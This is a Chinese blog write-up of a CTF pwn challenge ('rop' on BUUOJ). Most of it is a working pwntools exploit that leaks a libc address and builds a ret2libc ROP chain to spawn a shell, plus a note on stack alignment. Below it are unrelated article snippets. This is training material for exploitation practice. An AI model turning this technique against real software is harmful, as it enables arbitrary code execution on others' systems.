buuoj 第六章 CTF之PWN章 ROP

2021-10-16 22:32:06 字數 1862 閱讀 6432

保護。

啥沒有。

在除錯過程中發現最後會出問題,然後gdb.attach貼上以後開始調。

這個地方卡住是因為沒有棧對齊,你可以看到此時rsp是78,但是他要求16位對齊,最後得是0,所以需要在system位址前面加上個ret。

具體的看下面的wp

exp

from pwn import

*context.log_level =

"debug"

#r = remote('node3.buuoj.cn', 28222)

r = process(

'./rop'

)elf = elf(

'./rop'

)libc = elf(

'./libc-2.271.so'

)gdb.attach(r)

puts_plt = elf.plt[

'puts'

]puts_got = elf.got[

'puts'

]pop_rdi =

0x4005d3

main_addr =

0x400537

ret_addr =

0x400562

r.recvline(

)payload =

'a'*

18+ p64(pop_rdi)

+ p64(puts_got)

+ p64(puts_plt)

+ p64(main_addr)

r.sendline(payload)

#print(r.recvline())

puts_addr = u64(r.recv(6)

.ljust(8,

'\x00'))

#puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))

print

hex(puts_addr)

libc_base = puts_addr - libc.sym[

'puts'

]system_addr = libc_base + libc.sym[

'system'

]bin_sh = libc_base + libc.search(

'/bin/sh').

next()

print

hex(libc_base)

print

hex(system_addr)

print

hex(bin_sh)

info(

"libc:0x%x"

,libc_base)

payload =

'a'*

18+ p64(pop_rdi)

+ p64(bin_sh)

+ p64(system_addr)

#payload = 'a' * 18 + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(system_addr)

r.sendline(payload)

r.interactive(

)

buuoj 第六章 CTF之PWN章 fsb

瞅瞅檢查 開了nx canary跟pie。relro沒有開,可以考慮劫持got表。進去是個迴圈 裡面是個格式化字串漏洞。因為它開的空間是堆上的,所以常規棧上的格式化字串漏洞不能用。非棧上的格式化字串漏洞 非棧上的格式化字串漏洞的話,先在printf處下斷點。總體思路 滿足利用要求的三個指標分別在pr...

mysql第六章 第六章 mysql日誌

第六章 mysql日誌 一 錯誤日誌 錯誤日誌的預設存放路徑是 mysql 存放資料的地方 hostname.err 1.修改錯誤日誌存放路徑 mysqld log error data mysql mysql.log 2.檢視配置命令 show variables like log error 3...

第六章 指標

1.多位元組資料的位址是在最左邊還是最右邊的位置,不同的機器有不同的規定,這也正是大端和小端的區別,位址也要遵從邊界對齊 2.高階語言的乙個特性就是通過名字而不是位址來訪問記憶體的位置,但是硬體仍然通過位址訪問記憶體位置 3.記憶體中的變數都是義序列的0或1的位,他們可以被解釋為整數或者其他,這取決...